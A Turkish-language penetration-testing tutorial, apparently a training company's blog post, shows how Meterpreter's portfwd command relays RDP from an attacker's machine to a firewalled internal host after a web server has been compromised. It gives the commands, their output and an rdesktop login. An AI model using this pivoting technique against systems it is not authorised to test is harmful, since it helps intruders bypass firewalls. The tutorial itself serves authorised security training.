NAT/Router/Firewall arkasındaki bir sistem dış dünyaya tamamen kapalıdır. Dışardan yalnızca izin verilen portlara bağlantı kurulabilir. Pentest çalışmalarında, hedef network’den ele geçirdiğiniz bir sistemi dış dünyaya açmak (rdp,vnc,ssh vb.) diğer pentest ekibi ile paylaşmanız gerektiğinde kullanabileceğiniz teknikler kısıtlıdır.
Firewall atlatmak, ters bağlantı methodu destekleyen yazılım bulmak ciddi maliyettir.
Bu tür senaryolarda, Nat/Router/Firewall bypass etmek ve dış dünyadan (wan) gelen trafiği iç ağa yönlendirmek için ters bağlantı tekniği kullanılır ve bunu yapacak gelişmiş bir ajana ihtiyaç duyulur. Meterpreter, firewall/nat bypass için “reverse_tcp” ve “reverse_http(s)” bağlantı tekniklerini kullanmaktadır. İç ağı, dış dünyaya açmak için port porward ve vpn özelliklerine sahip gelişmiş bir ajandır.
Senaryo:
Uzak ağda, firewall korumalı yalnızca 80 portuna erişim kurulabilen websunucu bulunuyor. Web sayfasında bulunan bir güvenlik açığından faydalanarak meterpreter ajanı karşı tarafa yüklendi. Bu aşamadan sonra amaç, sistemi dış dünyaya açmak. Örneğin, rdp bağlantısı gerçekleştirmek, dosya sistemine bağlantı kurmak ve içeriden veri kaçırmak …
Biz istiyoruz ki, pentest ekibinden barkın 1.1.1.101 ip adresli sunucuya uzak masaüstü bağlantısı yapabilsin. Bunun için uzak sistemde rdp servisini etkinleştirseniz bile firewall’dan içeri izin olmadığı için bağlantı kurulamaz. Meterpreter ile erişim elde eden mr.pentester (x.y.z.t) kendi ip adresine gelen rdp isteğini meterpreter ile içeri yönlendirerek diğer kullanıcıya erişim izni sağlayabilir.
Meterpreter Port Forwarding
meterpreter > portfwd -h
Usage: portfwd [-h] [add | delete | list | flush] [args]
OPTIONS:-L <opt> The local host to listen on (optional).
-h Help banner.
-l <opt> The local port to listen on.
-p <opt> The remote port to connect to.
-r <opt> The remote host to connect to.
mr.pentester (x.y.z.t) bilgisayarının 4444 portuna gelen istekleri, firewall arkasındaki 1.1.1.101 ip adresinin 3389 portuna yönlendireceğiz;
meterpreter > portfwd add -l 4444 -r 1.1.1.101 -p 3389
[*] Local TCP relay created: 0.0.0.0:4444 <-> 1.1.1.101:3389
Pentest ekibinden Barkın kullanıcısı, aşağıdaki gibi mr.pentester bilgisayarına bağlantı kurmak istediğinde firewall arkasındaki 1.1.1.101 bilgisayarına ulaşmış olur.
barkın@localhost:~$ rdesktop x.y.z.t:4444 -k tr -u administrator
WARNING: Remote desktop does not support colour depth 24; falling back to 16
Ozan UÇAR
Bu yazıda yer alan araç ve yöntemlerin daha fazlasına “Metasploit Exploitation Framework Pentest” eğitime katılarak öğrenebilirsiniz.
Eğitimle ilgili detay bilgi için lütfen egitim@bga.com.tr adresine e-posta gönderiniz.